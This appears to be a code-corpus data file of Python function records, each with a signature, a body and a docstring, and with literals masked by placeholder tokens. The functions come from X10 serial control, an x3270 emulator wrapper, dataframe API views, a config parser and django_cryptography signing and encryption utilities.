{"signature": "def _translateCommands(commands):", "body": "for command in commands.split('<STR_LIT:U+002C>'):<EOL><INDENT>result = [<NUM_LIT:0>, <NUM_LIT:0>]<EOL>device, command = command.strip().upper().split(None, <NUM_LIT:1>)<EOL>result[<NUM_LIT:0>] = houseCodes[device[<NUM_LIT:0>]]<EOL>if len(device) > <NUM_LIT:1>:<EOL><INDENT>deviceNumber = deviceNumbers[device[<NUM_LIT:1>:]]<EOL>result[<NUM_LIT:0>] |= deviceNumber[<NUM_LIT:0>]<EOL>result[<NUM_LIT:1>] = deviceNumber[<NUM_LIT:1>]<EOL><DEDENT>result[<NUM_LIT:1>] |= commandCodes[command]<EOL>yield '<STR_LIT:U+0020>'.join(map(_strBinary, result))<EOL><DEDENT>", "docstring": "Generate the binary strings for a comma seperated list of commands.", "id": "f102:m0"}
{"signature": "def _strBinary(n):", "body": "results = []<EOL>for i in range(<NUM_LIT:8>):<EOL><INDENT>n, r = divmod(n, <NUM_LIT:2>)<EOL>results.append('<STR_LIT>'[r])<EOL><DEDENT>results.reverse()<EOL>return '<STR_LIT>'.join(results)<EOL>", "docstring": "Conert an integer to binary (i.e., a string of 1s and 0s).", "id": "f102:m1"}
{"signature": "def _sendBinaryData(port, data):", "body": "_reset(port)<EOL>time.sleep(leadInOutDelay)<EOL>for digit in data:<EOL><INDENT>_sendBit(port, digit)<EOL><DEDENT>time.sleep(leadInOutDelay)<EOL>", "docstring": "Send a string of binary data to the FireCracker with proper timing.\n\n    See the diagram in the spec referenced above for timing information.\n    The module level variables leadInOutDelay and bitDelay represent how\n    long each type of delay should be in seconds. They may require tweaking\n    on some setups.", "id": "f102:m2"}
{"signature": "def _reset(port):", "body": "_setRTSDTR(port, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>_setRTSDTR(port, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>", "docstring": "Perform a rest of the FireCracker module.", "id": "f102:m3"}
{"signature": "def _sendBit(port, bit):", "body": "if bit == '<STR_LIT:0>':<EOL><INDENT>_setRTSDTR(port, <NUM_LIT:0>, <NUM_LIT:1>)<EOL><DEDENT>elif bit == '<STR_LIT:1>':<EOL><INDENT>_setRTSDTR(port, <NUM_LIT:1>, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>return<EOL><DEDENT>time.sleep(bitDelay)<EOL>_setRTSDTR(port, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>time.sleep(bitDelay)<EOL>", "docstring": "Send an individual bit to the FireCracker module usr RTS/DTR.", "id": "f102:m4"}
{"signature": "def _setRTSDTR(port, RTS, DTR):", "body": "port.setRTS(RTS)<EOL>port.setDTR(DTR)<EOL>", "docstring": "Set RTS and DTR to the requested state.", "id": "f102:m5"}
{"signature": "def sendCommands(comPort, commands):", "body": "mutex.acquire()<EOL>try:<EOL><INDENT>try:<EOL><INDENT>port = serial.Serial(port=comPort)<EOL>header = '<STR_LIT>'<EOL>footer = '<STR_LIT>'<EOL>for command in _translateCommands(commands):<EOL><INDENT>_sendBinaryData(port, header + command + footer)<EOL><DEDENT><DEDENT>except serial.SerialException:<EOL><INDENT>print('<STR_LIT>' % comPort)<EOL>print('<STR_LIT>')<EOL>raise<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>mutex.release()<EOL><DEDENT>", "docstring": "Send X10 commands using the FireCracker on comPort\n\n    comPort should be the name of a serial port on the host platform. On\n    Windows, for example, 'com1'.\n\n    commands should be a string consisting of X10 commands separated by\n    commas. For example. 'A1 On, A Dim, A Dim, A Dim, A Lamps Off'. The\n    letter is a house code (A-P) and the number is the device number (1-16).\n    Possible commands for a house code / device number combination are\n    'On' and 'Off'. The commands 'Bright' and 'Dim' should be used with a\n    house code alone after sending an On command to a specific device. The\n    'All On', 'All Off', 'Lamps On', and 'Lamps Off' commands should also\n    be used with a house code alone.\n\n    # Turn on module A1\n    >>> sendCommands('com1', 'A1 On')\n\n    # Turn all modules with house code A off\n    >>> sendCommands('com1', 'A All Off')\n\n    # Turn all lamp modules with house code B on\n    >>> sendCommands('com1', 'B Lamps On')\n\n    # Turn on module A1 and dim it 3 steps, then brighten it 1 step\n    >>> sendCommands('com1', 'A1 On, A Dim, A Dim, A Dim, A Bright')", "id": "f102:m6"}
{"signature": "def main(argv=None):", "body": "if len(argv):<EOL><INDENT>commands = '<STR_LIT:U+0020>'.join(argv)<EOL>comPort, commands = commands.split(None, <NUM_LIT:1>)<EOL>sendCommands(comPort, commands)<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Send X10 commands when module is used from the command line.\n\n    This uses syntax similar to sendCommands, for example:\n\n    x10.py com2 A1 On, A2 Off, B All Off", "id": "f102:m7"}
{"signature": "def connect(self, host):", "body": "return False<EOL>", "docstring": "this is a no-op for all but wc3270", "id": "f108:c7:m2"}
{"signature": "def __init__(self, visible=False, timeout=<NUM_LIT:30>, app=None, args=None):", "body": "self.app = app or self.create_app(visible, args)<EOL>self.is_terminated = False<EOL>self.status = Status(None)<EOL>self.timeout = timeout<EOL>self.last_host = None<EOL>", "docstring": "Create an emulator instance\n\n`visible` controls which executable will be used.\n`timeout` controls the timeout paramater to any Wait() command sent\n    to x3270.\n`args` allows sending parameters to the emulator executable", "id": "f108:c14:m0"}
{"signature": "def __del__(self):", "body": "self.terminate()<EOL>", "docstring": "Since an emulator creates a process (and sometimes a socket handle), it is good practice\nto clean these up when done. Note, not terminating at this point will usually have no\nill effect - only Python 3+ on Windows had problems in this regard.", "id": "f108:c14:m1"}
{"signature": "def exec_command(self, cmdstr):", "body": "if self.is_terminated:<EOL><INDENT>raise TerminatedError(\"<STR_LIT>\")<EOL><DEDENT>log.debug(\"<STR_LIT>\", cmdstr)<EOL>c = Command(self.app, cmdstr)<EOL>start = time.time()<EOL>c.execute()<EOL>elapsed = time.time() - start<EOL>log.debug(\"<STR_LIT>\".format(elapsed))<EOL>self.status = Status(c.status_line)<EOL>return c<EOL>", "docstring": "Execute an x3270 command\n\n`cmdstr` gets sent directly to the x3270 subprocess on it's stdin.", "id": "f108:c14:m3"}
{"signature": "def terminate(self):", "body": "if not self.is_terminated:<EOL><INDENT>log.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>self.exec_command(b\"<STR_LIT>\")<EOL><DEDENT>except BrokenPipeError:  <EOL><INDENT>pass<EOL><DEDENT>except socket.error as e:<EOL><INDENT>if e.errno != errno.ECONNRESET:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>self.app.close()<EOL>self.is_terminated = True<EOL><DEDENT>", "docstring": "terminates the underlying x3270 subprocess. Once called, this\nEmulator instance must no longer be used.", "id": "f108:c14:m4"}
{"signature": "def is_connected(self):", "body": "<EOL>try:<EOL><INDENT>self.exec_command(b\"<STR_LIT>\")<EOL>return self.status.connection_state.startswith(b\"<STR_LIT>\")<EOL><DEDENT>except NotConnectedException:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return bool indicating connection state", "id": "f108:c14:m5"}
{"signature": "def connect(self, host):", "body": "if not self.app.connect(host):<EOL><INDENT>command = \"<STR_LIT>\".format(host).encode(\"<STR_LIT:ascii>\")<EOL>self.exec_command(command)<EOL><DEDENT>self.last_host = host<EOL>", "docstring": "Connect to a host", "id": "f108:c14:m6"}
{"signature": "def reconnect(self):", "body": "self.exec_command(b\"<STR_LIT>\")<EOL>self.connect(self.last_host)<EOL>", "docstring": "Disconnect from the host and re-connect to the same host", "id": "f108:c14:m7"}
{"signature": "def wait_for_field(self):", "body": "self.exec_command(\"<STR_LIT>\".format(self.timeout).encode(\"<STR_LIT:ascii>\"))<EOL>if self.status.keyboard != b\"<STR_LIT>\":<EOL><INDENT>raise KeyboardStateError(<EOL>\"<STR_LIT>\".format(<EOL>self.status.keyboard.decode(\"<STR_LIT:ascii>\")<EOL>)<EOL>)<EOL><DEDENT>", "docstring": "Wait until the screen is ready, the cursor has been positioned\non a modifiable field, and the keyboard is unlocked.\n\nSometimes the server will \"unlock\" the keyboard but the screen will\nnot yet be ready.  In that case, an attempt to read or write to the\nscreen will result in a 'E' keyboard status because we tried to\nread from a screen that is not yet ready.\n\nUsing this method tells the client to wait until a field is\ndetected and the cursor has been positioned on it.", "id": "f108:c14:m8"}
{"signature": "def move_to(self, ypos, xpos):", "body": "<EOL>xpos -= <NUM_LIT:1><EOL>ypos -= <NUM_LIT:1><EOL>self.exec_command(\"<STR_LIT>\".format(ypos, xpos).encode(\"<STR_LIT:ascii>\"))<EOL>", "docstring": "move the cursor to the given co-ordinates.  Co-ordinates are 1\nbased, as listed in the status area of the terminal.", "id": "f108:c14:m9"}
{"signature": "def send_string(self, tosend, ypos=None, xpos=None):", "body": "if xpos is not None and ypos is not None:<EOL><INDENT>self.move_to(ypos, xpos)<EOL><DEDENT>tosend = tosend.replace('<STR_LIT:\">', '<STR_LIT:\">')<EOL>self.exec_command('<STR_LIT>'.format(tosend).encode(\"<STR_LIT:ascii>\"))<EOL>", "docstring": "Send a string to the screen at the current cursor location or at\nscreen co-ordinates `ypos`/`xpos` if they are both given.\n\nCo-ordinates are 1 based, as listed in the status area of the\nterminal.", "id": "f108:c14:m10"}
{"signature": "def string_get(self, ypos, xpos, length):", "body": "<EOL>xpos -= <NUM_LIT:1><EOL>ypos -= <NUM_LIT:1><EOL>cmd = self.exec_command(<EOL>\"<STR_LIT>\".format(ypos, xpos, length).encode(\"<STR_LIT:ascii>\")<EOL>)<EOL>assert len(cmd.data) == <NUM_LIT:1>, cmd.data<EOL>return cmd.data[<NUM_LIT:0>].decode(\"<STR_LIT:ascii>\")<EOL>", "docstring": "Get a string of `length` at screen co-ordinates `ypos`/`xpos`\n\nCo-ordinates are 1 based, as listed in the status area of the\nterminal.", "id": "f108:c14:m19"}
{"signature": "def string_found(self, ypos, xpos, string):", "body": "found = self.string_get(ypos, xpos, len(string))<EOL>log.debug('<STR_LIT>'.format(found))<EOL>return found == string<EOL>", "docstring": "Return True if `string` is found at screen co-ordinates\n`ypos`/`xpos`, False otherwise.\n\nCo-ordinates are 1 based, as listed in the status area of the\nterminal.", "id": "f108:c14:m20"}
{"signature": "def delete_field(self):", "body": "self.exec_command(b\"<STR_LIT>\")<EOL>", "docstring": "Delete contents in field at current cursor location and positions\ncursor at beginning of field.", "id": "f108:c14:m21"}
{"signature": "def fill_field(self, ypos, xpos, tosend, length):", "body": "if length < len(tosend):<EOL><INDENT>raise FieldTruncateError('<STR_LIT>' % (length, tosend))<EOL><DEDENT>if xpos is not None and ypos is not None:<EOL><INDENT>self.move_to(ypos, xpos)<EOL><DEDENT>self.delete_field()<EOL>self.send_string(tosend)<EOL>", "docstring": "clears the field at the position given and inserts the string\n`tosend`\n\ntosend: the string to insert\nlength: the length of the field\n\nCo-ordinates are 1 based, as listed in the status area of the\nterminal.\n\nraises: FieldTruncateError if `tosend` is longer than\n    `length`.", "id": "f108:c14:m22"}
{"signature": "def get_dataframe(self):", "body": "assert self.dataframe is not None, (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% self.__class__.__name__<EOL>)<EOL>dataframe = self.dataframe<EOL>return dataframe<EOL>", "docstring": "Get the DataFrame for this view.\nDefaults to using `self.dataframe`.\n\nThis method should always be used rather than accessing `self.dataframe`\ndirectly, as `self.dataframe` gets evaluated only once, and those results\nare cached for all subsequent requests.\n\nYou may want to override this if you need to provide different\ndataframes depending on the incoming request.", "id": "f112:c0:m0"}
{"signature": "def update_dataframe(self, dataframe):", "body": "return dataframe<EOL>", "docstring": "Indicates that the dataframe needs to be updated. The default implementation\njust returns the argument. This method has to be ovewritten to make changing\noperations stick.", "id": "f112:c0:m1"}
{"signature": "def index_row(self, dataframe):", "body": "return dataframe.loc[self.kwargs[self.lookup_url_kwarg]].to_frame().T<EOL>", "docstring": "Indexes the row based on the request parameters.", "id": "f112:c0:m2"}
{"signature": "def get_object(self):", "body": "dataframe = self.filter_dataframe(self.get_dataframe())<EOL>assert self.lookup_url_kwarg in self.kwargs, (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(self.__class__.__name__, self.lookup_url_kwarg)<EOL>)<EOL>try:<EOL><INDENT>obj = self.index_row(dataframe)<EOL><DEDENT>except (IndexError, KeyError, ValueError):<EOL><INDENT>raise Http404<EOL><DEDENT>self.check_object_permissions(self.request, obj)<EOL>return obj<EOL>", "docstring": "Returns the row the view is displaying.\n\nYou may want to override this if you need to provide non-standard\nqueryset lookups.  Eg if objects are referenced using multiple\nkeyword arguments in the url conf.", "id": "f112:c0:m3"}
{"signature": "def get_serializer(self, *args, **kwargs):", "body": "serializer_class = self.get_serializer_class()<EOL>kwargs['<STR_LIT>'] = self.get_serializer_context()<EOL>return serializer_class(*args, **kwargs)<EOL>", "docstring": "Return the serializer instance that should be used for validating and\ndeserializing input, and for serializing output.", "id": "f112:c0:m4"}
{"signature": "def get_serializer_class(self):", "body": "assert self.serializer_class is not None, (<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% self.__class__.__name__<EOL>)<EOL>return self.serializer_class<EOL>", "docstring": "Return the class to use for the serializer.\nDefaults to using `self.serializer_class`.\n\nYou may want to override this if you need to provide different\nserializations depending on the incoming request.\n\n(Eg. admins get full serialization, others get basic serialization)", "id": "f112:c0:m5"}
{"signature": "def get_serializer_context(self):", "body": "return {<EOL>'<STR_LIT>': self.request,<EOL>'<STR_LIT>': self.format_kwarg,<EOL>'<STR_LIT>': self<EOL>}<EOL>", "docstring": "Extra context provided to the serializer class.", "id": "f112:c0:m6"}
{"signature": "def filter_dataframe(self, dataframe):", "body": "return dataframe<EOL>", "docstring": "Given a dataframe, filter it.", "id": "f112:c0:m7"}
{"signature": "@property<EOL><INDENT>def paginator(self):<DEDENT>", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>if self.pagination_class is None:<EOL><INDENT>self._paginator = None<EOL><DEDENT>else:<EOL><INDENT>self._paginator = self.pagination_class()<EOL><DEDENT><DEDENT>return self._paginator<EOL>", "docstring": "The paginator instance associated with the view, or `None`.", "id": "f112:c0:m8"}
{"signature": "def paginate_dataframe(self, dataframe):", "body": "if self.paginator is None:<EOL><INDENT>return None<EOL><DEDENT>return self.paginator.paginate_dataframe(dataframe, self.request, view=self)<EOL>", "docstring": "Return a single page of results, or `None` if pagination is disabled.", "id": "f112:c0:m9"}
{"signature": "def get_paginated_response(self, data):", "body": "assert self.paginator is not None<EOL>return self.paginator.get_paginated_response(data)<EOL>", "docstring": "Return a paginated style `Response` object for the given output data.", "id": "f112:c0:m10"}
{"signature": "def __init__(self):", "body": "try:<EOL><INDENT>p = subprocess.Popen(['<STR_LIT>', '<STR_LIT>'],<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE)<EOL>num_colors = int(p.stdout.read())<EOL><DEDENT>except (OSError, ValueError):<EOL><INDENT>num_colors = <NUM_LIT:1><EOL><DEDENT>self.has_colors = False<EOL>if num_colors > <NUM_LIT:1>:<EOL><INDENT>self.has_colors = True<EOL><DEDENT>self.enable_colors()<EOL>self.COLORS = self.enumerate_colors()<EOL>", "docstring": "Checks if the shell supports colors", "id": "f119:c4:m0"}
{"signature": "def enable_colors(self):", "body": "self.colors_enabled = True<EOL>", "docstring": "Method to enable colors", "id": "f119:c4:m2"}
{"signature": "def disable_colors(self):", "body": "self.colors_enabled = False<EOL>", "docstring": "Method to disable colors", "id": "f119:c4:m3"}
{"signature": "def _wrap_color(self, code, text, format=None, style=None):", "body": "color = None<EOL>if code[:<NUM_LIT:3>] == self.bg.PREFIX:<EOL><INDENT>color = self.bg.COLORS.get(code, None)<EOL><DEDENT>if not color:<EOL><INDENT>color = self.fg.COLORS.get(code, None)<EOL><DEDENT>if not color:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if format and format not in self.formats:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>fmt = \"<STR_LIT>\"<EOL>if format == '<STR_LIT>':<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL><DEDENT>elif format == '<STR_LIT>':<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL><DEDENT>parts = color.split('<STR_LIT:[>')<EOL>color = '<STR_LIT>'.format(parts[<NUM_LIT:0>], fmt, parts[<NUM_LIT:1>])<EOL>if self.has_colors and self.colors_enabled:<EOL><INDENT>st = '<STR_LIT>'<EOL>if style:<EOL><INDENT>st = self.st.COLORS.get(style, '<STR_LIT>')<EOL><DEDENT>return \"<STR_LIT>\".format(st, color, text, self.st.COLORS['<STR_LIT>'])<EOL><DEDENT>else:<EOL><INDENT>return text<EOL><DEDENT>", "docstring": "Colors text with code and given format", "id": "f119:c4:m4"}
{"signature": "def __call__(self, schema: Schema) -> typing.Dict[str, typing.Any]:", "body": "result = {}<EOL>for key, item in schema.items():<EOL><INDENT>if callable(item):<EOL><INDENT>result[key] = self.get(key=key, type_=item)<EOL>continue<EOL><DEDENT>result[key] = self.get(<EOL>key=item.get(\"<STR_LIT:key>\", key),<EOL>default=item.get(\"<STR_LIT:default>\", UNSET),<EOL>type_=item.get(\"<STR_LIT:type>\", str),<EOL>subtype=item.get(\"<STR_LIT>\", str),<EOL>mapper=item.get(\"<STR_LIT>\", None),<EOL>)<EOL><DEDENT>return result<EOL>", "docstring": "Parse the environment according to a schema.\n\n:param schema: the schema to parse\n:return: a dictionary of config values", "id": "f127:c1:m1"}
{"signature": "def parse(<EOL>self,<EOL>value: str,<EOL>type_: typing.Type[typing.Any] = str,<EOL>subtype: typing.Type[typing.Any] = str,<EOL>) -> typing.Any:", "body": "if type_ is bool:<EOL><INDENT>return type_(value.lower() in self.TRUE_STRINGS)<EOL><DEDENT>try:<EOL><INDENT>if isinstance(type_, type) and issubclass(<EOL>type_, (list, tuple, set, frozenset)<EOL>):<EOL><INDENT>return type_(<EOL>self.parse(v.strip(\"<STR_LIT:U+0020>\"), subtype)<EOL>for v in value.split(\"<STR_LIT:U+002C>\")<EOL>if value.strip(\"<STR_LIT:U+0020>\")<EOL>)<EOL><DEDENT>return type_(value)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise ConfigError(*e.args)<EOL><DEDENT>", "docstring": "Parse value from string.\n\nConvert :code:`value` to\n\n.. code-block:: python\n\n   >>> parser = Config()\n   >>> parser.parse('12345', type_=int)\n   <<< 12345\n   >>>\n   >>> parser.parse('1,2,3,4', type_=list, subtype=int)\n   <<< [1, 2, 3, 4]\n\n:param value: string\n:param type\\\\_: the type to return\n:param subtype: subtype for iterator types\n:return: the parsed config value", "id": "f127:c1:m2"}
{"signature": "def get(<EOL>self,<EOL>key: str,<EOL>default: typing.Any = UNSET,<EOL>type_: typing.Type[typing.Any] = str,<EOL>subtype: typing.Type[typing.Any] = str,<EOL>mapper: typing.Optional[typing.Callable[[object], object]] = None,<EOL>) -> typing.Any:", "body": "value = self.environ.get(key, UNSET)<EOL>if value is UNSET and default is UNSET:<EOL><INDENT>raise ConfigError(\"<STR_LIT>\".format(key))<EOL><DEDENT>if value is UNSET:<EOL><INDENT>value = default<EOL><DEDENT>else:<EOL><INDENT>value = self.parse(typing.cast(str, value), type_, subtype)<EOL><DEDENT>if mapper:<EOL><INDENT>value = mapper(value)<EOL><DEDENT>return value<EOL>", "docstring": "Parse a value from an environment variable.\n\n.. code-block:: python\n\n   >>> os.environ['FOO']\n   <<< '12345'\n   >>>\n   >>> os.environ['BAR']\n   <<< '1,2,3,4'\n   >>>\n   >>> 'BAZ' in os.environ\n   <<< False\n   >>>\n   >>> parser = Config()\n   >>> parser.get('FOO', type_=int)\n   <<< 12345\n   >>>\n   >>> parser.get('BAR', type_=list, subtype=int)\n   <<< [1, 2, 3, 4]\n   >>>\n   >>> parser.get('BAZ', default='abc123')\n   <<< 'abc123'\n   >>>\n   >>> parser.get('FOO', type_=int, mapper=lambda x: x*10)\n   <<< 123450\n\n:param key: the key to look up the value under\n:param default: default value to return when when no value is present\n:param type\\\\_: the type to return\n:param subtype: subtype for iterator types\n:param mapper: a function to post-process the value with\n:return: the parsed config value", "id": "f127:c1:m3"}
{"signature": "def dumps(obj,<EOL>key=None,<EOL>salt='<STR_LIT>',<EOL>serializer=JSONSerializer,<EOL>compress=False):", "body": "data = serializer().dumps(obj)<EOL>is_compressed = False<EOL>if compress:<EOL><INDENT>compressed = zlib.compress(data)<EOL>if len(compressed) < (len(data) - <NUM_LIT:1>):<EOL><INDENT>data = compressed<EOL>is_compressed = True<EOL><DEDENT><DEDENT>base64d = b64_encode(data)<EOL>if is_compressed:<EOL><INDENT>base64d = b'<STR_LIT:.>' + base64d<EOL><DEDENT>return TimestampSigner(key, salt=salt).sign(base64d)<EOL>", "docstring": "Returns URL-safe, sha1 signed base64 compressed JSON string. If key is\nNone, settings.SECRET_KEY is used instead.\n\nIf compress is True (not the default) checks if compressing using zlib can\nsave some space. Prepends a '.' to signify compression. This is included\nin the signature, to protect against zip bombs.\n\nSalt can be used to namespace the hash, so that a signed string is\nonly valid for a given namespace. Leaving this at the default\nvalue or re-using a salt value across different parts of your\napplication without good cause is a security risk.\n\nThe serializer is expected to return a bytestring.", "id": "f144:m1"}
{"signature": "def loads(s,<EOL>key=None,<EOL>salt='<STR_LIT>',<EOL>serializer=JSONSerializer,<EOL>max_age=None):", "body": "<EOL>base64d = force_bytes(<EOL>TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))<EOL>decompress = False<EOL>if base64d[:<NUM_LIT:1>] == b'<STR_LIT:.>':<EOL><INDENT>base64d = base64d[<NUM_LIT:1>:]<EOL>decompress = True<EOL><DEDENT>data = b64_decode(base64d)<EOL>if decompress:<EOL><INDENT>data = zlib.decompress(data)<EOL><DEDENT>return serializer().loads(data)<EOL>", "docstring": "Reverse of dumps(), raises BadSignature if signature fails.\n\nThe serializer is expected to accept a bytestring.", "id": "f144:m2"}
{"signature": "def unsign(self, value, max_age=None):", "body": "result = super(TimestampSigner, self).unsign(value)<EOL>value, timestamp = result.rsplit(self.sep, <NUM_LIT:1>)<EOL>timestamp = baseconv.base62.decode(timestamp)<EOL>if max_age is not None:<EOL><INDENT>if isinstance(max_age, datetime.timedelta):<EOL><INDENT>max_age = max_age.total_seconds()<EOL><DEDENT>age = time.time() - timestamp<EOL>if age > max_age:<EOL><INDENT>raise SignatureExpired('<STR_LIT>' %<EOL>(age, max_age))<EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "Retrieve original value and check it wasn't signed more\nthan max_age seconds ago.", "id": "f144:c1:m2"}
{"signature": "def __init__(self, key=None):", "body": "self.digest = hashes.SHA256()<EOL>self.key = force_bytes(key or settings.SECRET_KEY)<EOL>", "docstring": ":type key: any\n:rtype: None", "id": "f144:c3:m0"}
{"signature": "def signature(self, value):", "body": "h = HMAC(self.key, self.digest, backend=settings.CRYPTOGRAPHY_BACKEND)<EOL>h.update(force_bytes(value))<EOL>return h<EOL>", "docstring": ":type value: any\n:rtype: HMAC", "id": "f144:c3:m1"}
{"signature": "def sign(self, value):", "body": "payload = struct.pack('<STR_LIT>', self.version, int(time.time()))<EOL>payload += force_bytes(value)<EOL>return payload + self.signature(payload).finalize()<EOL>", "docstring": ":type value: any\n:rtype: bytes", "id": "f144:c3:m2"}
{"signature": "def unsign(self, signed_value, ttl=None):", "body": "h_size, d_size = struct.calcsize('<STR_LIT>'), self.digest.digest_size<EOL>fmt = '<STR_LIT>' % (len(signed_value) - h_size - d_size, d_size)<EOL>try:<EOL><INDENT>version, timestamp, value, sig = struct.unpack(fmt, signed_value)<EOL><DEDENT>except struct.error:<EOL><INDENT>raise BadSignature('<STR_LIT>')<EOL><DEDENT>if version != self.version:<EOL><INDENT>raise BadSignature('<STR_LIT>')<EOL><DEDENT>if ttl is not None:<EOL><INDENT>if isinstance(ttl, datetime.timedelta):<EOL><INDENT>ttl = ttl.total_seconds()<EOL><DEDENT>age = abs(time.time() - timestamp)<EOL>if age > ttl + _MAX_CLOCK_SKEW:<EOL><INDENT>raise SignatureExpired('<STR_LIT>' % (age,<EOL>ttl))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>self.signature(signed_value[:-d_size]).verify(sig)<EOL><DEDENT>except InvalidSignature:<EOL><INDENT>raise BadSignature(<EOL>'<STR_LIT>' % binascii.b2a_base64(sig))<EOL><DEDENT>return value<EOL>", "docstring": "Retrieve original value and check it wasn't signed more\nthan max_age seconds ago.\n\n:type signed_value: bytes\n:type ttl: int | datetime.timedelta", "id": "f144:c3:m3"}
{"signature": "def get_version(version=None):", "body": "version = get_complete_version(version)<EOL>main = get_main_version(version)<EOL>sub = '<STR_LIT>'<EOL>if version[<NUM_LIT:3>] == '<STR_LIT>' and version[<NUM_LIT:4>] == <NUM_LIT:0>:<EOL><INDENT>git_changeset = get_git_changeset()<EOL>if git_changeset:<EOL><INDENT>sub = '<STR_LIT>' % git_changeset<EOL><DEDENT><DEDENT>elif version[<NUM_LIT:3>] != '<STR_LIT>':<EOL><INDENT>mapping = {'<STR_LIT>': '<STR_LIT:a>', '<STR_LIT>': '<STR_LIT:b>', '<STR_LIT>': '<STR_LIT:c>'}<EOL>sub = mapping[version[<NUM_LIT:3>]] + str(version[<NUM_LIT:4>])<EOL><DEDENT>return str(main + sub)<EOL>", "docstring": "Returns a PEP 386-compliant version number from VERSION.", "id": "f145:m0"}
{"signature": "def get_main_version(version=None):", "body": "version = get_complete_version(version)<EOL>parts = <NUM_LIT:2> if version[<NUM_LIT:2>] == <NUM_LIT:0> else <NUM_LIT:3><EOL>return '<STR_LIT:.>'.join(str(x) for x in version[:parts])<EOL>", "docstring": "Returns main version (X.Y[.Z]) from VERSION.", "id": "f145:m1"}
{"signature": "def get_complete_version(version=None):", "body": "if version is None:<EOL><INDENT>from django_cryptography import VERSION as version<EOL><DEDENT>else:<EOL><INDENT>assert len(version) == <NUM_LIT:5><EOL>assert version[<NUM_LIT:3>] in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>return version<EOL>", "docstring": "Returns a tuple of the django_cryptography version. If version\nargument is non-empty, then checks for correctness of the tuple\nprovided.", "id": "f145:m2"}
{"signature": "def get_git_changeset():", "body": "repo_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))<EOL>git_log = subprocess.Popen(<EOL>'<STR_LIT>',<EOL>stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE,<EOL>shell=True,<EOL>cwd=repo_dir,<EOL>universal_newlines=True)<EOL>timestamp = git_log.communicate()[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>timestamp = datetime.datetime.utcfromtimestamp(int(timestamp))<EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>return timestamp.strftime('<STR_LIT>')<EOL>", "docstring": "Returns a numeric identifier of the latest git changeset.\n\nThe result is the UTC timestamp of the changeset in YYYYMMDDHHMMSS format.\nThis value isn't guaranteed to be unique, but collisions are very unlikely,\nso it's sufficient for generating the development version numbers.", "id": "f145:m4"}
{"signature": "def salted_hmac(key_salt, value, secret=None):", "body": "if secret is None:<EOL><INDENT>secret = settings.SECRET_KEY<EOL><DEDENT>key_salt = force_bytes(key_salt)<EOL>secret = force_bytes(secret)<EOL>digest = hashes.Hash(<EOL>settings.CRYPTOGRAPHY_DIGEST, backend=settings.CRYPTOGRAPHY_BACKEND)<EOL>digest.update(key_salt + secret)<EOL>key = digest.finalize()<EOL>h = HMAC(<EOL>key,<EOL>settings.CRYPTOGRAPHY_DIGEST,<EOL>backend=settings.CRYPTOGRAPHY_BACKEND)<EOL>h.update(force_bytes(value))<EOL>return h<EOL>", "docstring": "Returns the HMAC-HASH of 'value', using a key generated from key_salt and a\nsecret (which defaults to settings.SECRET_KEY).\n\nA different key_salt should be passed in for every application of HMAC.\n\n:type key_salt: any\n:type value: any\n:type secret: any\n:rtype: HMAC", "id": "f146:m0"}
{"signature": "def constant_time_compare(val1, val2):", "body": "return constant_time.bytes_eq(force_bytes(val1), force_bytes(val2))<EOL>", "docstring": ":type val1: any\n:type val2: any\n:rtype: bool", "id": "f146:m1"}
{"signature": "def pbkdf2(password, salt, iterations, dklen=<NUM_LIT:0>, digest=None):", "body": "if digest is None:<EOL><INDENT>digest = settings.CRYPTOGRAPHY_DIGEST<EOL><DEDENT>if not dklen:<EOL><INDENT>dklen = digest.digest_size<EOL><DEDENT>password = force_bytes(password)<EOL>salt = force_bytes(salt)<EOL>kdf = PBKDF2HMAC(<EOL>algorithm=digest,<EOL>length=dklen,<EOL>salt=salt,<EOL>iterations=iterations,<EOL>backend=settings.CRYPTOGRAPHY_BACKEND)<EOL>return kdf.derive(password)<EOL>", "docstring": "Implements PBKDF2 with the same API as Django's existing\nimplementation, using cryptography.\n\n:type password: any\n:type salt: any\n:type iterations: int\n:type dklen: int\n:type digest: cryptography.hazmat.primitives.hashes.HashAlgorithm", "id": "f146:m2"}
{"signature": "def encrypt(self, data):", "body": "data = force_bytes(data)<EOL>iv = os.urandom(<NUM_LIT:16>)<EOL>return self._encrypt_from_parts(data, iv)<EOL>", "docstring": ":type data: any\n:rtype: any", "id": "f146:c1:m1"}
{"signature": "def _encrypt_from_parts(self, data, iv):", "body": "padder = padding.PKCS7(algorithms.AES.block_size).padder()<EOL>padded_data = padder.update(data) + padder.finalize()<EOL>encryptor = Cipher(<EOL>algorithms.AES(self._encryption_key), modes.CBC(iv),<EOL>self._backend).encryptor()<EOL>ciphertext = encryptor.update(padded_data) + encryptor.finalize()<EOL>return self._signer.sign(iv + ciphertext)<EOL>", "docstring": ":type data: bytes\n:type iv: bytes\n:rtype: any", "id": "f146:c1:m2"}
